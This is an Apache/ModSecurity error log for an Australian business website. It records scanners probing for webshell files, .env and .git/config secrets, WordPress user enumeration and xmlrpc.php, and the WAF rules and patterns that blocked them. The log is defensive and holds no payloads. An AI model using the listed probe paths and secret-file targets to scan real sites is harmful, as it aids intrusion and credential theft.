[Thu Apr 16 07:09:45.063507 2026] [:error] [pid 29603:tid 29606] [client 20.199.125.41:19579] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-cc.php"] [unique_id "aeAauVfGOR6fpTWUAzrbLwAAAQE"]
[Thu Apr 16 07:09:45.874702 2026] [:error] [pid 49094:tid 49099] [client 20.199.125.41:45188] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-cc.php"] [unique_id "aeAauTbDwvcXorHR_Myq7wAAAUM"]
[Thu Apr 16 07:09:46.829899 2026] [:error] [pid 29603:tid 29620] [client 20.199.125.41:52243] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-cc.php"] [unique_id "aeAaulfGOR6fpTWUAzrbMgAAAQ8"]
[Thu Apr 16 07:09:47.743959 2026] [:error] [pid 57538:tid 57618] [client 20.199.125.41:14280] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-lvminl.php"] [unique_id "aeAau8uMaiEF5SVR2BdFxgAAAJA"]
[Thu Apr 16 07:09:49.191630 2026] [:error] [pid 29603:tid 29608] [client 20.199.125.41:19528] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-lvminl.php"] [unique_id "aeAavVfGOR6fpTWUAzrbPgAAAQM"]
[Thu Apr 16 07:09:50.030670 2026] [:error] [pid 29603:tid 29612] [client 20.199.125.41:46706] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-lvminl.php"] [unique_id "aeAavlfGOR6fpTWUAzrbRQAAAQc"]
[Thu Apr 16 07:09:51.815033 2026] [:error] [pid 49094:tid 49111] [client 20.199.125.41:20745] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-lvminl.php"] [unique_id "aeAavzbDwvcXorHR_Myq-AAAAU8"]
[Thu Apr 16 07:09:53.484821 2026] [:error] [pid 57537:tid 57599] [client 20.199.125.41:45222] File does not exist: /usr/local/apache/htdocs/suspended-page/bx.php
[Thu Apr 16 07:09:53.723802 2026] [:error] [pid 57537:tid 57593] [client 20.199.125.41:45222] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Thu Apr 16 07:09:54.180190 2026] [:error] [pid 57537:tid 57598] [client 20.199.125.41:45222] File does not exist: /usr/local/apache/htdocs/suspended-page/dx.php
[Thu Apr 16 07:09:54.488926 2026] [:error] [pid 57537:tid 57576] [client 20.199.125.41:45222] File does not exist: /usr/local/apache/htdocs/suspended-page/24name.php
[Thu Apr 16 07:09:54.841047 2026] [:error] [pid 57537:tid 57578] [client 20.199.125.41:45222] File does not exist: /usr/local/apache/htdocs/suspended-page/re.php
[Thu Apr 16 07:09:55.083762 2026] [:error] [pid 57537:tid 57584] [client 20.199.125.41:45222] File does not exist: /usr/local/apache/htdocs/suspended-page/xx.php
[Thu Apr 16 07:09:55.364459 2026] [:error] [pid 57537:tid 57575] [client 20.199.125.41:45222] File does not exist: /usr/local/apache/htdocs/suspended-page/6.php
[Thu Apr 16 07:09:55.880107 2026] [:error] [pid 57537:tid 57597] [client 20.199.125.41:45222] File does not exist: /usr/local/apache/htdocs/suspended-page/blox.php
[Thu Apr 16 07:09:56.121493 2026] [:error] [pid 57537:tid 57590] [client 20.199.125.41:45222] File does not exist: /usr/local/apache/htdocs/suspended-page/cibai.php
[Thu Apr 16 07:09:56.383015 2026] [:error] [pid 57537:tid 57577] [client 20.199.125.41:45222] File does not exist: /usr/local/apache/htdocs/suspended-page/wso-x569.php
[Thu Apr 16 07:09:56.724717 2026] [:error] [pid 57537:tid 57587] [client 20.199.125.41:45222] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-ccv.php
[Thu Apr 16 07:09:57.016313 2026] [:error] [pid 57537:tid 57588] [client 20.199.125.41:45222] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classc.php"] [unique_id "aeAaxVVQRS8nm73ENAk8oAAAAE0"]
[Thu Apr 16 07:09:58.133213 2026] [:error] [pid 49094:tid 49106] [client 20.199.125.41:52341] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classc.php"] [unique_id "aeAaxjbDwvcXorHR_MyrDgAAAUo"]
[Thu Apr 16 07:09:59.591705 2026] [:error] [pid 57537:tid 57592] [client 20.199.125.41:52289] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classc.php"] [unique_id "aeAax1VQRS8nm73ENAk8oQAAAFE"]
[Thu Apr 16 07:10:00.190188 2026] [:error] [pid 49094:tid 49107] [client 20.199.125.41:52310] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classc.php"] [unique_id "aeAayDbDwvcXorHR_MyrFwAAAUs"]
[Thu Apr 16 07:10:00.924580 2026] [:error] [pid 49094:tid 49111] [client 20.199.125.41:57801] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/HLA-dd.php"] [unique_id "aeAayDbDwvcXorHR_MyrGQAAAU8"]
[Thu Apr 16 07:10:02.081509 2026] [:error] [pid 49094:tid 49099] [client 20.199.125.41:60236] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/HLA-dd.php"] [unique_id "aeAayjbDwvcXorHR_MyrHwAAAUM"]
[Thu Apr 16 07:10:03.513902 2026] [:error] [pid 29603:tid 29628] [client 20.199.125.41:12834] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/HLA-dd.php"] [unique_id "aeAay1fGOR6fpTWUAzrbVAAAARc"]
[Thu Apr 16 07:10:06.270817 2026] [:error] [pid 49094:tid 49113] [client 20.199.125.41:33512] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/HLA-dd.php"] [unique_id "aeAazjbDwvcXorHR_MyrLwAAAVE"]
[Thu Apr 16 07:10:07.246542 2026] [:error] [pid 49094:tid 49100] [client 20.199.125.41:18858] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kaza.php"] [unique_id "aeAazzbDwvcXorHR_MyrMgAAAUQ"]
[Thu Apr 16 07:10:08.655931 2026] [:error] [pid 29603:tid 29620] [client 20.199.125.41:18827] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kaza.php"] [unique_id "aeAa0FfGOR6fpTWUAzrbXQAAAQ8"]
[Thu Apr 16 07:10:10.450263 2026] [:error] [pid 49094:tid 49107] [client 20.199.125.41:9445] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kaza.php"] [unique_id "aeAa0jbDwvcXorHR_MyrOQAAAUs"]
[Thu Apr 16 07:10:12.585408 2026] [:error] [pid 57639:tid 57656] [client 20.199.125.41:52315] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kaza.php"] [unique_id "aeAa1KMCQoTw7TsxWunVAgAAAMo"]
[Thu Apr 16 07:10:13.472111 2026] [:error] [pid 57537:tid 57580] [client 20.199.125.41:11710] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/444.php"] [unique_id "aeAa1VVQRS8nm73ENAk8owAAAEU"]
[Thu Apr 16 07:10:14.955624 2026] [:error] [pid 49094:tid 49112] [client 20.199.125.41:36529] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/444.php"] [unique_id "aeAa1jbDwvcXorHR_MyrPwAAAVA"]
[Thu Apr 16 07:10:15.622591 2026] [:error] [pid 57639:tid 57652] [client 20.199.125.41:36507] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/444.php"] [unique_id "aeAa16MCQoTw7TsxWunVCQAAAMY"]
[Thu Apr 16 07:10:17.056898 2026] [:error] [pid 57537:tid 57598] [client 20.199.125.41:12853] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/444.php"] [unique_id "aeAa2VVQRS8nm73ENAk8pwAAAFc"]
[Thu Apr 16 07:26:42.847964 2026] [:error] [pid 49094:tid 49119] [client 95.141.42.106:59913] [client 95.141.42.106] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "windfarmcoolants.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aeAesjbDwvcXorHR_MyzVwAAAVc"]
[Thu Apr 16 07:26:46.870803 2026] [:error] [pid 49094:tid 49097] [client 95.141.42.106:59913] [client 95.141.42.106] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.141.42.106, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "aeAetjbDwvcXorHR_MyzWwAAAUE"]
[Thu Apr 16 07:26:46.875828 2026] [:error] [pid 49094:tid 49097] [client 95.141.42.106:59913] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Thu Apr 16 08:16:01.800950 2026] [:error] [pid 57639:tid 57667] [client 179.127.195.89:60814] [client 179.127.195.89] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.127.195.89, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "aeAqQaMCQoTw7TsxWun0iwAAANU"]
[Thu Apr 16 08:16:01.806938 2026] [:error] [pid 57639:tid 57667] [client 179.127.195.89:60814] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Thu Apr 16 08:28:58.212561 2026] [:error] [pid 49094:tid 49103] [client 20.101.5.148:52352] [client 20.101.5.148] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.development.local"] [unique_id "aeAtSjbDwvcXorHR_MzRdAAAAUc"]
[Thu Apr 16 08:28:59.790985 2026] [:error] [pid 29603:tid 29620] [client 142.202.255.57:45579] [client 142.202.255.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.production"] [unique_id "aeAtS1fGOR6fpTWUAzr33gAAAQ8"]
[Thu Apr 16 08:28:59.791156 2026] [:error] [pid 29603:tid 29618] [client 142.202.255.57:52721] [client 142.202.255.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.staging"] [unique_id "aeAtS1fGOR6fpTWUAzr33wAAAQ0"]
[Thu Apr 16 08:29:00.999970 2026] [:error] [pid 57538:tid 57625] [client 172.71.144.59:12963] [client 172.71.144.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.local"] [unique_id "aeAtTMuMaiEF5SVR2BdbFwAAAJc"]
[Thu Apr 16 08:41:02.009835 2026] [:error] [pid 57639:tid 57654] [client 98.93.160.221:43270] [client 98.93.160.221] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aeAwHqMCQoTw7TsxWukFTwAAAMg"]
[Thu Apr 16 09:46:50.722974 2026] [:error] [pid 29603:tid 29622] [client 63.33.214.123:56309] [client 63.33.214.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.33.214.123, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aeA_ilfGOR6fpTWUAzoPHgAAARE"]
[Thu Apr 16 09:46:50.728049 2026] [:error] [pid 29603:tid 29622] [client 63.33.214.123:56309] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Apr 16 12:09:30.638023 2026] [:error] [pid 7880:tid 7905] [client 98.93.160.221:40230] [client 98.93.160.221] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aeBg-qaezm4fSGc0yUIQnAAAAZQ"]
[Thu Apr 16 12:13:43.890293 2026] [:error] [pid 49094:tid 49114] [client 94.247.172.129:11302] [client 94.247.172.129] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.windfarmcoolants.com.au|F|4"] [data "close, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.windfarmcoolants.com.au"] [uri "/"] [unique_id "aeBh9zbDwvcXorHR_MwbQwAAAVI"]
[Thu Apr 16 16:57:51.235675 2026] [:error] [pid 7880:tid 7894] [client 216.73.216.59:64375] [client 216.73.216.59] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||windfarmcoolants.com.au|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/robots.txt"] [unique_id "aeCkj6aezm4fSGc0yUJYVwAAAYk"]
[Thu Apr 16 20:29:29.697185 2026] [:error] [pid 57538:tid 57612] [client 4.225.163.126:64935] File does not exist: /usr/local/apache/htdocs/suspended-page/flower.php
[Thu Apr 16 20:29:29.986122 2026] [:error] [pid 57538:tid 57617] [client 4.225.163.126:64935] File does not exist: /usr/local/apache/htdocs/suspended-page/a7.php
[Thu Apr 16 20:29:30.280970 2026] [:error] [pid 57538:tid 57606] [client 4.225.163.126:64935] File does not exist: /usr/local/apache/htdocs/suspended-page/doc.php
[Thu Apr 16 20:29:30.622694 2026] [:error] [pid 57538:tid 57615] [client 4.225.163.126:64935] File does not exist: /usr/local/apache/htdocs/suspended-page/mifta.php
[Thu Apr 16 20:29:30.957820 2026] [:error] [pid 57538:tid 57608] [client 4.225.163.126:64935] File does not exist: /usr/local/apache/htdocs/suspended-page/Geforce.php
[Thu Apr 16 20:29:31.365122 2026] [:error] [pid 57538:tid 57610] [client 4.225.163.126:64935] File does not exist: /usr/local/apache/htdocs/suspended-page/packsin1.php
[Thu Apr 16 20:29:31.654344 2026] [:error] [pid 57538:tid 57620] [client 4.225.163.126:64935] File does not exist: /usr/local/apache/htdocs/suspended-page/xs.php
[Thu Apr 16 20:29:31.948365 2026] [:error] [pid 57538:tid 57626] [client 4.225.163.126:64935] File does not exist: /usr/local/apache/htdocs/suspended-page/son1.php
[Thu Apr 16 20:29:32.299086 2026] [:error] [pid 57538:tid 57622] [client 4.225.163.126:64935] [client 4.225.163.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "aeDWLMuMaiEF5SVR2BfXmgAAAJQ"]
[Thu Apr 16 20:29:33.603606 2026] [:error] [pid 57536:tid 57553] [client 4.225.163.126:64922] File does not exist: /usr/local/apache/htdocs/suspended-page/aboute.php
[Thu Apr 16 20:29:33.927425 2026] [:error] [pid 57536:tid 57571] [client 4.225.163.126:64922] File does not exist: /usr/local/apache/htdocs/suspended-page/pp.php
[Thu Apr 16 20:29:34.191424 2026] [:error] [pid 57536:tid 57566] [client 4.225.163.126:64922] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "aeDWLiQU4faGja6jpDtnKwAAABI"]
[Thu Apr 16 20:29:35.777380 2026] [:error] [pid 57536:tid 57556] [client 4.225.163.126:65139] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "aeDWLyQU4faGja6jpDtnLgAAAAg"]
[Thu Apr 16 20:29:36.600597 2026] [:error] [pid 29603:tid 29622] [client 4.225.163.126:64947] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "aeDWMFfGOR6fpTWUAzqJjAAAARE"]
[Thu Apr 16 20:29:37.716605 2026] [:error] [pid 57536:tid 57550] [client 4.225.163.126:65185] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "aeDWMSQU4faGja6jpDtnMQAAAAI"]
[Thu Apr 16 20:29:40.329557 2026] [:error] [pid 57537:tid 57589] [client 4.225.163.126:65170] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tiny2.php"] [unique_id "aeDWNFVQRS8nm73ENAmvwgAAAE4"]
[Thu Apr 16 20:29:41.313681 2026] [:error] [pid 57538:tid 57614] [client 4.225.163.126:64543] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tiny2.php"] [unique_id "aeDWNcuMaiEF5SVR2BfXnwAAAIw"]
[Thu Apr 16 20:29:42.737412 2026] [:error] [pid 57536:tid 57554] [client 4.225.163.126:64488] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tiny2.php"] [unique_id "aeDWNiQU4faGja6jpDtnOgAAAAY"]
[Thu Apr 16 20:29:43.911453 2026] [:error] [pid 57537:tid 57596] [client 4.225.163.126:64456] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tiny2.php"] [unique_id "aeDWN1VQRS8nm73ENAmvwwAAAFU"]
[Thu Apr 16 20:29:45.568185 2026] [:error] [pid 57536:tid 57557] [client 4.225.163.126:64450] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/state.php"] [unique_id "aeDWOSQU4faGja6jpDtnPgAAAAk"]
[Thu Apr 16 20:29:47.478065 2026] [:error] [pid 49094:tid 49101] [client 4.225.163.126:65184] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/state.php"] [unique_id "aeDWOzbDwvcXorHR_My_RgAAAUU"]
[Thu Apr 16 20:29:49.730505 2026] [:error] [pid 57536:tid 57565] [client 4.225.163.126:64924] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/state.php"] [unique_id "aeDWPSQU4faGja6jpDtnRwAAABE"]
